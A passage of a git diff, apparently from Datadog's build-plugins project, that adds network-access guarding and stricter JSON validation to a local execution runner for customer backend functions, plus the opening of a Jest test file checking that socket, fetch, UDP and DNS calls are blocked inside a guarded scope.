+/** Marks the window where a customer module's own top-level code is loading (narrower than "between executions," where the undefined-returning fallback below applies instead). Carries its own mutable box so a top-level `$` write (e.g. `zx/globals`) is scoped to this load, not the shared `globalDollarOutsideExecution` slot a later, unrelated load would also read. */ const customerModuleLoadContext = new AsyncLocalStorage<{ assigned: boolean; value: unknown }>(); -/** Scopes vite/index.ts's suffixed-subgraph tracking (see its `resolveId` hook) to one entry's own module-graph traversal, run alongside `customerModuleLoadContext` below — every caller that loads a customer entry, real dev-server request or test harness alike, funnels through `loadCustomerModuleEntry`, so scoping here (rather than wherever a particular `loadModule` happens to be constructed) reaches every path uniformly. Without this, a single process-wide Set would let a helper module reached by one local execution's traversal stay marked for the dev server's whole lifetime, so a later unrelated SSR resolution of the same helper would inherit the marker and serve real backend code instead of the frontend RPC-proxy stub. */ +/** Scopes vite/index.ts's suffixed-subgraph tracking to one entry's own module-graph traversal — every caller funnels through `loadCustomerModuleEntry`, so scoping here reaches every path uniformly. Without this, a process-wide Set would let a helper module stay marked for the dev server's whole lifetime, so a later unrelated SSR resolution of that helper would inherit the marker and serve real backend code instead of the frontend RPC-proxy stub. */ export const localExecutionResolutionContext = new AsyncLocalStorage>(); -/** Backs `globalThis.$` outside any execution box (e.g. this module's own import-time state); seeded from any `$` already installed before this module loaded so the accessor below doesn't discard a legitimate `zx/globals`-style passthrough. */ +/** Backs `globalThis.$` outside any execution box; seeded from any `$` already installed before this module loaded so the accessor below doesn't discard a legitimate `zx/globals`-style passthrough. */ let globalDollarOutsideExecution: unknown = Reflect.get(globalThis, '$'); function ensureDollarAccessorInstalled(): void { @@ -95,7 +110,7 @@ function dollarSetter(value: unknown): void { } const loadBox = customerModuleLoadContext.getStore(); if (loadBox) { - // Scoped to this module load, not the shared globalDollarOutsideExecution slot — otherwise a top-level write (e.g. zx/globals) would leak into every later, unrelated load. + // Scoped to this load, not globalDollarOutsideExecution — otherwise a top-level write (e.g. zx/globals) would leak into every later, unrelated load. loadBox.assigned = true; loadBox.value = value; return; @@ -105,7 +120,7 @@ function dollarSetter(value: unknown): void { ensureDollarAccessorInstalled(); -/** What the stable, once-ever-registered adapters below need to dispatch a call to whichever execution is on the AsyncLocalStorage call stack — kept out of `BackendGlobals` since that object is also `globalThis.$`, visible to customer code. */ +/** What the stable, once-ever-registered adapters below need to dispatch a call to whichever execution is live on the AsyncLocalStorage stack — kept out of `BackendGlobals` since that's also `globalThis.$`, visible to customer code. */ type ExecutionDispatch = { executeAction: ExecuteAction; allowedConnectionIds: string[]; @@ -176,9 +191,8 @@ export const DEFAULT_LONG_POLLING_CONFIG: LongPollingConfig = resolveLongPolling /** * Both ceilings must exceed `pollQueryExecution`'s worst-case budget: polling time - * (`maxRetries * timeoutMs`) plus the caller-configurable, unbounded retry delays. Derived from - * the real config and the shared retry-delay budget so the two can't drift apart; exported so - * tests compute the expected value instead of hardcoding a copy. + * (`maxRetries * timeoutMs`) plus the retry-delay budget. Exported so tests compute the expected + * value instead of hardcoding a copy. */ export function deriveActionTimeouts(longPolling: LongPollingConfig): { actionCallTimeoutMs: number; @@ -200,11 +214,12 @@ export function deriveActionTimeouts(longPolling: LongPollingConfig): { /** Loads a module by specifier, resolved against the customer's own project rather than build-plugins' dependency tree — the dev server passes its Vite instance's `ssrLoadModule` here. */ export type LoadModule = (specifier: string) => Promise>; -/** Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger real top-level evaluation ahead of `executeScriptLocally`. */ -export function loadCustomerModuleEntry( +/** Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger real top-level evaluation ahead of `executeScriptLocally`. Accepted residual gap: this runs outside network-guard.ts's `runBlocked` scope (only the exported function's body is wrapped, not module-level evaluation), so a customer file's top-level code has real, unguarded network/subprocess access — not a hard security boundary, matching network-guard.ts's "no OS sandbox" framing. Awaits `getNetworkGuard()` first — the sole choke point every caller funnels through — so network-guard.ts's `trustedStdout`/`trustedStderr` capture (see that file) always happens before this unguarded window, not just before a later `runBlocked` call. */ +export async function loadCustomerModuleEntry( loadModule: LoadModule, entrySpecifier: string, ): Promise> { + await getNetworkGuard(); return localExecutionResolutionContext.run(new Set(), () => customerModuleLoadContext.run({ assigned: false, value: undefined }, () => loadModule(entrySpecifier), @@ -249,6 +264,24 @@ function validateActionCall( return { inputs, connectionId }; } +/** Shared validate → serialize → runAllowed sequence for both $.Actions entry points — same reasoning as `validateActionCall` above, extended to cover the whole call instead of just the inputs check. */ +async function invokeAction( + executeAction: ExecuteAction, + actionId: string, + call: Partial, + allowedConnectionIds: string[], + actionDescription: string, +): Promise { + const { inputs, connectionId } = validateActionCall( + call, + allowedConnectionIds, + actionDescription, + ); + const serializedInputs = serializeActionInputs(inputs, actionDescription); + const { runAllowed } = await getNetworkGuard(); + return runAllowed(() => executeAction(actionId, serializedInputs, connectionId)); +} + /** Serializes local executions — a customer function deleting `globalThis.$` mid-flight would otherwise break `$` access for any other execution concurrently in progress (see `ensureDollarAccessorInstalled`). */ let queueTail: Promise = Promise.resolve(); @@ -270,14 +303,29 @@ function abandonedExecutionError(functionName: string, refusedAction: string): E } /** - * One shared guard across all executions — `enqueue` only serializes each execution's start, - * so a timed-out `fn()` keeps running (abandoned, not canceled). `isCurrent()` rejects that - * zombie's later dispatch once a newer scope takes over; `concludeIfCurrent()` only clears the - * generation if its own scope is still active, so delayed cleanup can't clobber a newer scope. + * One shared guard across all executions — `enqueue` only serializes each execution's start, so a + * timed-out `fn()` keeps running (abandoned, not canceled). `isCurrent()` rejects that zombie's + * later dispatch once a newer scope takes over; `concludeIfCurrent()` only clears the generation if + * its own scope is still active, so delayed cleanup can't clobber a newer scope. */ const executionEpoch = createEpochGuard(); -/** Resolves a nested property path (e.g. $.Actions.slack.chat.postMessage) to a callable that invokes `executeAction` directly — no IPC needed since there's no separate process to cross. */ +/** JSON round-trips `$.Actions` inputs before `runAllowed`, so a malicious `toJSON()`/getter can't sneak a network call under the trusted action — uses the same strict validation as a return value (`assertJsonRoundTrippable`), so a Map/Set/NaN/symbol-keyed input fails loudly instead of reaching the destination corrupted. Also re-checks the round-tripped shape, since a top-level `toJSON()` can turn an object into a string/array. */ +function serializeActionInputs( + inputs: Record, + actionDescription: string, +): Record { + const subject = `Inputs to action ${actionDescription}`; + const roundTripped = assertJsonRoundTrippable(inputs, subject); + if (roundTripped === null || typeof roundTripped !== 'object' || Array.isArray(roundTripped)) { + throw new Error( + `${subject} must be a plain object after JSON round-tripping, but a custom toJSON() changed its top-level shape to ${Array.isArray(roundTripped) ? 'an array' : roundTripped === null ? 'null' : typeof roundTripped} — return a plain JSON-compatible object instead.`, + ); + } + return roundTripped as Record; +} + +/** Resolves a `$.Actions` path to a callable wrapped in `runAllowed`, the one call exempted from `runBlocked` (see network-guard.ts). */ function makeActionsProxy( executeAction: ExecuteAction, allowedConnectionIds: string[], @@ -294,22 +342,24 @@ function makeActionsProxy( return makeActionsProxy(executeAction, allowedConnectionIds, nestedPathParts); }, async apply(_target, _thisArg, args: unknown[]) { + const actionPath = pathParts.join('.'); if (args.length === 0) { - throw new Error(`No arguments provided to action $.Actions.${pathParts.join('.')}`); + throw new Error(`No arguments provided to action $.Actions.${actionPath}`); } const call: Partial = isIndexableRecord(args[0]) ? args[0] : {}; - const { inputs, connectionId } = validateActionCall( + const fqn = `com.datadoghq.${actionPath}`; + return invokeAction( + executeAction, + fqn, call, allowedConnectionIds, - `$.Actions.${pathParts.join('.')}`, + `$.Actions.${actionPath}`, ); - const fqn = `com.datadoghq.${pathParts.join('.')}`; - return executeAction(fqn, inputs, connectionId); }, }); } -/** Bounds a promise that could otherwise hang forever — a `loadModule` call against a broken/circular graph, or a `$.Actions` call with no deadline of its own — rejecting instead of leaving the caller waiting indefinitely. Doesn't cancel the underlying promise (not possible for a plain `Promise`), so late side effects can still fire if it eventually settles; see each call site for why that's harmless there. `label` is the full, already-attributed subject of the timeout message (e.g. `` `Loading ${specifier}` ``), not a suffix on a fixed prefix, so it reads naturally for both loads and action calls. */ +/** Bounds a promise that could otherwise hang forever — a `loadModule` call against a broken/circular graph, or a `$.Actions` call with no deadline of its own. Doesn't cancel the underlying promise, so late side effects can still fire if it eventually settles; see each call site for why that's harmless there. `label` is the full subject of the timeout message (e.g. `` `Loading ${specifier}` ``), not a suffix on a fixed prefix. */ export function withTimeout(promise: Promise, timeoutMs: number, label: string): Promise { return new Promise((resolve, reject) => { const timer = setTimeout(() => { @@ -328,7 +378,7 @@ export function withTimeout(promise: Promise, timeoutMs: number, label: st }); } -/** Shared once-ever-registration wrapper for both adapters below: no-ops if uninstalled (re-checked uncached on every call, so a mid-session install is picked up on the very next execution), reuses the WeakMap-cached registration keyed by `loadModule` identity (true once-ever registration for a real dev server's reused `ssrLoadModule`, isolated per closure for each test), and evicts a rejection so the next execution retries instead of staying permanently poisoned. */ +/** Shared once-ever-registration wrapper for both adapters below: no-ops if uninstalled (re-checked uncached, so a mid-session install is picked up on the next execution), caches by `loadModule` identity (true once-ever for a real dev server's reused `ssrLoadModule`, isolated per test), and evicts a rejection so the next execution retries instead of staying poisoned. */ function registerOnceIfInstalled( isInstalled: (projectRoot: string) => boolean, registrations: WeakMap>, @@ -355,7 +405,7 @@ function registerOnceIfInstalled( /** Keyed by `loadModule` identity — see `registerOnceIfInstalled`'s doc comment. */ const actionCatalogRegistrations = new WeakMap>(); -/** Registers ONE stable dispatcher for the process lifetime that reads `executionDispatchContext.getStore()` at call time, so a zombie's typed-wrapper call can never dispatch under a newer execution's identity just because that execution's registration is the one currently live. */ +/** Registers one stable dispatcher for the process lifetime that reads `executionDispatchContext.getStore()` at call time, so a zombie's typed-wrapper call can never dispatch under a newer execution's identity. */ function registerActionCatalogIfInstalled( loadModule: LoadModule, projectRoot: string, @@ -391,19 +441,20 @@ async function registerActionCatalogOnce(loadModule: LoadModule, timeoutMs: numb throw abandonedExecutionError(dispatch.functionName, `run "${actionId}"`); } const call: Partial = isIndexableRecord(request) ? request : {}; - const { inputs, connectionId } = validateActionCall( + return invokeAction( + dispatch.executeAction, + actionId, call, dispatch.allowedConnectionIds, `"${actionId}"`, ); - return dispatch.executeAction(actionId, inputs, connectionId); }); } /** Mirrors `actionCatalogRegistrations` — see `registerOnceIfInstalled`'s doc comment. */ const backendRuntimeRegistrations = new WeakMap>(); -/** Registers ONE stable runtime Proxy for the process lifetime that resolves whichever execution's `$` is live on the AsyncLocalStorage call stack, rather than binding to one execution's `$` at registration time. */ +/** Registers one stable runtime Proxy for the process lifetime that resolves whichever execution's `$` is live on the AsyncLocalStorage stack, rather than binding to one execution's `$` at registration time. */ function registerBackendRuntimeIfInstalled( loadModule: LoadModule, projectRoot: string, @@ -481,80 +532,105 @@ async function registerBackendRuntimeOnce( // Lets the replacer's already-specific message pass through the outer catch below unwrapped, instead of being replaced by its generic fallback. class UnsupportedJsonValueError extends Error {} -/** `JSON.stringify`'s replacer never runs for a symbol-KEYED property (only symbol-valued ones under a string key) — it silently omits them with no callback at all, so they need their own recursive check. */ -function findSymbolKeyedObject(value: unknown, visited: Set): boolean { - if (typeof value !== 'object' || value === null || visited.has(value)) { - return false; - } - if (Object.getOwnPropertySymbols(value).length > 0) { - return true; - } - visited.add(value); - return Object.values(value).some((child) => findSymbolKeyedObject(child, visited)); -} - -function assertJsonSerializable(result: unknown, func: BackendFunction): unknown { - if (findSymbolKeyedObject(result, new Set())) { - throw new Error( - `Local execution of "${func.name}" returned a value with a Symbol-keyed property, which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, - ); - } +/** + * Shared by a function's return value and its `$.Actions` call inputs — both cross a JSON boundary + * and need the same protection against JSON.stringify's silent corruption (Map/Set flattened to + * `{}`, non-finite numbers to `null`, functions/symbols/`undefined` dropped, symbol-keyed + * properties omitted) rather than a bare `JSON.parse(JSON.stringify(...))` that would let corrupted + * data pass through unnoticed. `subject` names what's being checked for the thrown error message. + */ +function assertJsonRoundTrippable(value: unknown, subject: string): unknown { let serialized: string | undefined; try { - // A replacer visits every key/value pair including the root, catching a disallowed value - // at any depth. Root is tracked via a one-shot flag, not `key === ''`, since a real - // property can itself be named `''`. + // Visits every key/value pair including the root, catching a disallowed value at any + // depth. Root is tracked via a one-shot flag, not `key === ''`, since a real property can + // itself be named `''`. let isRootCall = true; - serialized = JSON.stringify(result, (key, value) => { + serialized = JSON.stringify(value, function (key, childValue) { const wasRootCall = isRootCall; isRootCall = false; - if (value instanceof Map || value instanceof Set) { + // Checked on `childValue` (a custom toJSON()'s return value, not necessarily the + // original object) since the replacer never runs for a symbol-keyed property at all — + // a symbol key introduced only by toJSON() would otherwise go undetected. + if ( + childValue !== null && + typeof childValue === 'object' && + Object.getOwnPropertySymbols(childValue).length > 0 + ) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned a ${value.constructor.name}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently flattens to "{}" instead of serializing its entries — return a plain array or object instead.`, + `${subject} contains a Symbol-keyed property${key ? ` (at "${key}")` : ''}, which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, ); } - if (typeof value === 'number' && !Number.isFinite(value)) { + if (childValue instanceof Map || childValue instanceof Set) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned ${value}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently converts to "null" instead of throwing — return a finite number instead.`, + `${subject} contains a ${childValue.constructor.name}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently flattens to "{}" instead of serializing its entries — use a plain array or object instead.`, + ); + } + if (typeof childValue === 'number' && !Number.isFinite(childValue)) { + throw new UnsupportedJsonValueError( + `${subject} contains ${childValue}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently converts to "null" instead of throwing — use a finite number instead.`, + ); + } + // A plain object property holding `undefined` is silently omitted by JSON.stringify — + // matching production's own serialization, so it's not flagged (unlike an array + // element, where `undefined` is converted to `null` instead of dropped). + if (!wasRootCall && childValue === undefined && Array.isArray(this)) { + throw new UnsupportedJsonValueError( + `${subject} contains undefined inside an array (at index ${key}), which JSON.stringify silently converts to null instead of dropping it — use null explicitly instead.`, ); } if ( !wasRootCall && - (typeof value === 'function' || typeof value === 'symbol' || value === undefined) + (typeof childValue === 'function' || typeof childValue === 'symbol') && + Array.isArray(this) ) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned a ${typeof value} (at "${key}"), which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, + `${subject} contains a ${typeof childValue} inside an array (at index ${key}), which JSON.stringify silently converts to null instead of dropping it — use null explicitly instead.`, ); } - return value; + if ( + !wasRootCall && + (typeof childValue === 'function' || typeof childValue === 'symbol') && + !Array.isArray(this) + ) { + throw new UnsupportedJsonValueError( + `${subject} contains a ${typeof childValue} (at "${key}"), which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, + ); + } + return childValue; }); } catch (err) { if (err instanceof UnsupportedJsonValueError) { throw err; } throw new Error( - `Local execution of "${func.name}" returned a value that can't be serialized to JSON: ${ + `${subject} can't be serialized to JSON: ${ err instanceof Error ? err.message : String(err) }`, ); } if (serialized === undefined) { - if (result !== undefined) { + if (value !== undefined) { throw new Error( - `Local execution of "${func.name}" returned a ${typeof result} value, which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, + `${subject} is a ${typeof value} value, which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, ); } return undefined; } - // Return the parsed-and-reserialized value, not the original — the caller serializes again for the HTTP response, and the original would invoke a custom toJSON() a second time. + // Return the parsed-and-reserialized value, not the original — a caller serializing again + // for the HTTP response (or the executeAction call) would otherwise invoke a custom toJSON() a second time. return JSON.parse(serialized); } +function assertJsonSerializable(result: unknown, func: BackendFunction): unknown { + return assertJsonRoundTrippable(result, `Local execution of "${func.name}"'s return value`); +} + /** * Test-only entry point: exercises `runScriptLocally`'s queue/execution behavior with priming - * already done via `primedEntry`. Production always goes through `executeColdActionLocally`, - * which primes inside the same `enqueue()` call instead — kept separate since folding priming - * in here would change what `primedEntry` means for the ~90 tests calling this directly. + * already done via `primedEntry`. Production goes through `executeColdActionLocally` instead, which + * primes inside the same `enqueue()` call — kept separate so `primedEntry` keeps its current + * meaning for the tests calling this directly. */ export async function executeScriptLocally( func: BackendFunction, @@ -588,9 +664,9 @@ export async function executeScriptLocally( /** * Cold-function entry point: collects `allowedConnectionIds`, then primes and runs the entry in - * one `enqueue()` call, since priming runs real top-level code and doing it outside the queue - * would let two cold functions run in parallel. Connection IDs are collected first (never - * executes code), rejecting a banned import before the entry runs; `withTimeout` doesn't cancel. + * one `enqueue()` call — priming runs real top-level code, so doing it outside the queue would let + * two cold functions run in parallel. Connection IDs are collected first, executing no code, so a + * banned import is rejected before the entry runs. */ export async function executeColdActionLocally( func: BackendFunction, @@ -660,20 +736,37 @@ async function runScriptLocally( // gates both its $.Actions closure and the shared adapters against acting under a stale identity. const scope = executionEpoch.start(); - // A long-poll can legitimately outlast timeoutMs (network wait, not a hang) — pausing the - // timer while a call is in flight and restarting it once all settle keeps real progress from - // being penalized while a genuine hang still times out normally. + // A long-poll can legitimately outlast timeoutMs — pausing the timer while a call is in flight + // and restarting it once all settle keeps real progress from being penalized while a genuine + // hang still times out normally. let timer: ReturnType | undefined; let rejectTimeout: ((error: Error) => void) | undefined; let pendingActionCalls = 0; let absoluteTimeoutTimer: ReturnType | undefined; + // Set once runBlocked's own scope starts — undefined until then, so an execution abandoned + // before it reaches that point has nothing to abandon here. + let blockedScope: BlockedScopeHandle | undefined; + + // Promise.race abandons a hung fn without cancelling it, so its runBlocked scope's try/finally + // cleanup never runs. abandonIfCurrent() only clears if this scope is still active, so this is + // safe even if a newer execution's own runBlocked scope has already started; the block itself + // stays enforced regardless via blockedContext's own scoping. Shared by both timeout paths + // below, since either can abandon a still-running fn the same way. + const abandonBlockedScope = () => { + blockedScope?.abandonIfCurrent(); + }; + + // Shared by both timeout paths below: concludes the execution, abandons its runBlocked scope + // (see abandonBlockedScope above), then rejects with the caller's own message. + const failWithTimeout = (message: string) => { + concludeExecution(); + abandonBlockedScope(); + rejectTimeout?.(new Error(message)); + }; const scheduleTimeout = () => { timer = setTimeout(() => { - concludeExecution(); - rejectTimeout?.( - new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), - ); + failWithTimeout(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`); }, timeoutMs); }; @@ -683,11 +776,8 @@ async function runScriptLocally( const rearmAbsoluteTimeout = () => { clearTimeout(absoluteTimeoutTimer); absoluteTimeoutTimer = setTimeout(() => { - concludeExecution(); - rejectTimeout?.( - new Error( - `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, - ), + failWithTimeout( + `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, ); }, totalExecutionTimeoutMs); }; @@ -778,14 +868,30 @@ async function runScriptLocally( ); await Promise.all([actionCatalogRegistration, backendRuntimeRegistration]); - if (!scope.isCurrent()) { - // Already known-abandoned before the customer function was reached — no point invoking it now. - throw new Error( - `Execution of "${func.name}" was abandoned after timing out before it could start.`, - ); - } - const result = await fn(...args); - return { data: assertJsonSerializable(result, func) }; + const rejectIfAbandoned = () => { + if (!scope.isCurrent()) { + throw new Error( + `Execution of "${func.name}" was abandoned after timing out before it could start.`, + ); + } + }; + // Checked again after the await below — getNetworkGuard()'s dynamic import can + // itself take long enough (its first call in a process) for the timeout to fire + // in between, and the customer function must never run once already abandoned. + rejectIfAbandoned(); + // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls must run while access is still blocked. + const { runBlocked } = await getNetworkGuard(); + rejectIfAbandoned(); + const data = await runBlocked( + async () => { + const result = await fn(...args); + return assertJsonSerializable(result, func); + }, + (handle) => { + blockedScope = handle; + }, + ); + return { data }; }), ); } finally { diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts new file mode 100644 index 000000000..87133152c --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -0,0 +1,1385 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis */ + +import child_process from 'child_process'; +import dgram from 'dgram'; +import dns from 'dns'; +import net from 'net'; +import { promisify } from 'util'; +import worker_threads from 'worker_threads'; + +import { + forceReset, + guardEventSource, + guardWebSocket, + guardWorker, + installGuardedProperty, + runAllowed, + runBlocked, + trustedFetch, +} from './network-guard'; + +// net/fetch/child_process are real process-wide singletons — a test that leaves them patched leaks into later tests in the same worker. +afterEach(() => { + forceReset(); +}); + +// Real server+socket pair for tests exercising state that only exists on a genuinely connected +// socket (e.g. keep-alive reuse) — connecting outside any blocked scope, since connect() itself is +// only guarded while blocked. Caller is responsible for closing the returned server. +async function createRealConnectedSocket(): Promise<{ server: net.Server; socket: net.Socket }> { + const server = net.createServer((socket) => socket.on('data', () => undefined)); + await new Promise((resolve) => server.listen(0, resolve)); + const address = server.address(); + const port = typeof address === 'object' && address ? address.port : 0; + const socket = await new Promise((resolve, reject) => { + const s = net.connect(port, 'localhost'); + s.once('connect', () => resolve(s)); + s.once('error', reject); + }); + return { server, socket }; +} + +// `(globalThis as { fetch: typeof fetch }).fetch = impl` repeated verbatim at every mock/restore +// call site — this collapses the cast to one place. +function setGlobalFetch(impl: typeof fetch): void { + (globalThis as { fetch: typeof fetch }).fetch = impl; +} + +describe('network-guard', () => { + describe('runBlocked', () => { + test('Should block a raw net.Socket.connect() call made inside fn', async () => { + await expect( + runBlocked(async () => { + new net.Socket().connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should destroy (not throw synchronously) a net.Socket.write() call made inside fn, since a thrown write() surfaces as an uncaught exception inside code that calls it without a try/catch', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.write('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + test('Should destroy (not throw synchronously) a net.Socket.end() call made inside fn, same reasoning as write() above', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.end('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + // Destroying with no listener would hit Node's own default behavior for an unlistened + // 'error' event — throwing and crashing the whole process — which a bare `socket.write(data)` + // call with no error handling at all would trigger immediately. + test('Should not crash the process when write()/end() is called inside fn on a socket with no error listener attached', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + expect(() => socket.write('data')).not.toThrow(); + expect(() => socket.end('data')).not.toThrow(); + }); + // If the guard had destroyed the socket with an unlistened error, the resulting + // uncaught exception would already have crashed this Jest worker by now. + await new Promise((resolve) => setImmediate(resolve)); + }); + + // Regression test: a real socket always defers error emission at least a tick, so attaching + // an 'error' listener on the line right after write()/end() is a safe, common pattern — the + // guard's own listenerCount check must be deferred the same way, or it reads 0 listeners + // synchronously (before this line runs) and silently swallows the blocked-write signal. + test('Should still destroy the socket when the error listener is attached right after write()/end(), not just before', async () => { + await runBlocked(async () => { + const writeSocket = new net.Socket(); + expect(() => writeSocket.write('data')).not.toThrow(); + const writeErr = await new Promise((resolve) => + writeSocket.once('error', resolve), + ); + expect(writeErr.message).toMatch(/Network access is not allowed/); + + const endSocket = new net.Socket(); + expect(() => endSocket.end('data')).not.toThrow(); + const endErr = await new Promise((resolve) => + endSocket.once('error', resolve), + ); + expect(endErr.message).toMatch(/Network access is not allowed/); + }); + }); + + test('Should invoke a write() completion callback with the blocked error, instead of silently dropping it', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + socket.on('error', () => undefined); + const err = await new Promise((resolve) => + socket.write('data', (writeErr) => resolve(writeErr)), + ); + expect(err?.message).toMatch(/Network access is not allowed/); + }); + }); + + // end()'s own callback type has no error parameter (unlike write()'s), so this only checks + // invocation — the shared signalBlockedSocketOp still passes the error through at runtime, + // exercised above for write(). + test('Should invoke an end() completion callback, instead of silently dropping it', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + socket.on('error', () => undefined); + let called = false; + await new Promise((resolve) => { + socket.end('data', () => { + called = true; + resolve(); + }); + }); + expect(called).toBe(true); + }); + }); + + test('Should block a fetch() call made inside fn', async () => { + await expect( + runBlocked(async () => { + await fetch('https://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + // dgram.send()'s real Node contract reports failure via an error-first callback (confirmed + // via @types/node doc examples), never a synchronous throw — the guard must match that. + test('Should block dgram.Socket.send() made inside fn via its error-first callback, not a synchronous throw', async () => { + await runBlocked(async () => { + const socket = dgram.createSocket('udp4'); + const err = await new Promise((resolve) => { + expect(() => + socket.send('data', 80, 'example.com', (sendErr) => + resolve(sendErr as Error), + ), + ).not.toThrow(); + }); + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + // dgram.Socket.connect()'s callback is a success-only 'connect' event shorthand (confirmed + // via @types/node: `callback?: () => void`) — real failures are only ever reported via the + // async 'error' event, so the guard must signal that way too, not a synchronous throw. + test("Should block dgram.Socket.connect() made inside fn via its async 'error' event, not a synchronous throw", async () => { + await runBlocked(async () => { + const socket = dgram.createSocket('udp4'); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.connect(80, 'example.com')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + // net.Server.listen()/dgram.Socket.bind()'s callback is a success-only 'listening' event + // shorthand — a real bind failure returns synchronously and only reports EADDRINUSE via the + // async 'error' event, so a synchronous throw here would surface as an uncaught exception in + // the idiomatic `server.on('error', cb); server.listen(port);` pattern, which relies + // entirely on that event. + test("Should block net.Server.listen() and dgram.Socket.bind() made inside fn via the async 'error' event, not a synchronous throw", async () => { + await runBlocked(async () => { + const server = net.createServer(); + const errorPromise = new Promise((resolve) => server.once('error', resolve)); + expect(() => server.listen(0)).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + + await runBlocked(async () => { + const socket = dgram.createSocket('udp4'); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.bind(0)).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + // Regression test: a caller attaching the 'error' listener right after listen()/bind(), + // rather than before, is a safe, idiomatic pattern against a real bind failure (which always + // reports asynchronously) — the guard's own listener check must be deferred the same way + // signalBlockedSocketOp's write()/end() check is, or it reads 0 listeners synchronously and + // silently swallows the blocked-listen signal. + test('Should still signal a blocked listen()/bind() when the error listener is attached right after, not just before', async () => { + await runBlocked(async () => { + const server = net.createServer(); + expect(() => server.listen(0)).not.toThrow(); + const err = await new Promise((resolve) => server.once('error', resolve)); + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + test('Should not crash the process when listen()/bind() is blocked with no error listener attached', async () => { + await runBlocked(async () => { + const server = net.createServer(); + expect(() => server.listen(0)).not.toThrow(); + const socket = dgram.createSocket('udp4'); + expect(() => socket.bind(0)).not.toThrow(); + }); + // If the guard had emitted an unlistened 'error', the resulting uncaught exception would + // already have crashed this Jest worker by now. + await new Promise((resolve) => setImmediate(resolve)); + }); + + test('Should let net.Server.listen() and dgram.Socket.bind() through outside a blocked scope', async () => { + const server = net.createServer(); + await new Promise((resolve, reject) => { + server.once('listening', resolve); + server.once('error', reject); + server.listen(0); + }); + expect(server.listening).toBe(true); + server.close(); + + const socket = dgram.createSocket('udp4'); + await new Promise((resolve, reject) => { + socket.once('listening', resolve); + socket.once('error', reject); + socket.bind(0); + }); + expect(socket.address().port).toBeGreaterThan(0); + socket.close(); + }); + + // Each of the 4 dns resolver surfaces is a distinct function object needing its own guard — + // see network-guard.ts's DNS_RESOLVE_METHODS comment for why dns.lookup stays unguarded. + describe('dns resolver methods', () => { + // dns.resolve4's callback-style surfaces (plain and Resolver) report failure via their + // mandatory error-first callback, never a synchronous throw — the promise-returning + // surfaces (dns.promises.*) still correctly reject, unaffected by this. + test('Should block dns.resolve4 on all 4 surfaces (plain, promises, Resolver, promises.Resolver) inside fn', async () => { + await runBlocked(async () => { + const err = await new Promise((resolve) => { + expect(() => + dns.resolve4('example.com', (resolveErr) => + resolve(resolveErr as Error), + ), + ).not.toThrow(); + }); + expect(err.message).toMatch(/Network access is not allowed/); + }); + + await expect( + runBlocked(async () => { + await dns.promises.resolve4('example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + + await runBlocked(async () => { + const err = await new Promise((resolve) => { + expect(() => + new dns.Resolver().resolve4('example.com', (resolveErr) => + resolve(resolveErr as Error), + ), + ).not.toThrow(); + }); + expect(err.message).toMatch(/Network access is not allowed/); + }); + + await expect( + runBlocked(async () => { + await new dns.promises.Resolver().resolve4('example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block dns.resolveTxt made inside fn via its error-first callback, not a synchronous throw', async () => { + await runBlocked(async () => { + const err = await new Promise((resolve) => { + expect(() => + dns.resolveTxt('example.com', (resolveErr) => + resolve(resolveErr as Error), + ), + ).not.toThrow(); + }); + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + test('Should block dns.promises.reverse made inside fn', async () => { + await expect( + runBlocked(async () => { + await 